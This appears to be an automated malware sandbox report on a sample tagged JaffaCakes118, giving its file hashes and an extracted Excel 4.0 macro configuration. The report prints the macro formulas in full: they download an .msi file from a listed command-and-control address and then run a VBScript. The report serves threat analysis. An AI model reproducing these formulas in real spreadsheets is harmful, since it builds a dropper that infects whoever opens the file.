General
-
Target
f4fe4bf4a27d26709bb68eefc5f44de3_JaffaCakes118
-
Size
6KB
-
MD5
f4fe4bf4a27d26709bb68eefc5f44de3
-
SHA1
34a428ccc83bf84ef1eb99fc7eb4c6b9d4d3a646
-
SHA256
8ec39c3faf794bce6802cae9f6909624cfde1fa4a031485e62f523bb026fc9eb
-
SHA512
18b27d804948173a9861c1b39c027fb93aa8020e5ba006dfe723dd801a7affa59eefe33aab48281e7964c9593c8fa67607a3a95a6f4319c1f240f50ee0c5bc7d
-
SSDEEP
192:NDSouSmbrA2OmmfR18UhHFBFYuzb98ywFKg+f:NnufM2wD1FYib98ywFKJ
Score
10/10
Malware Config
Extracted
Rule
Excel 4.0 XLM Macro
C2
http://46.17.98.187/index.php
http://google.com/index.php
Attributes
-
formulas
=CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()
Signatures
Files
-
f4fe4bf4a27d26709bb68eefc5f44de3_JaffaCakes118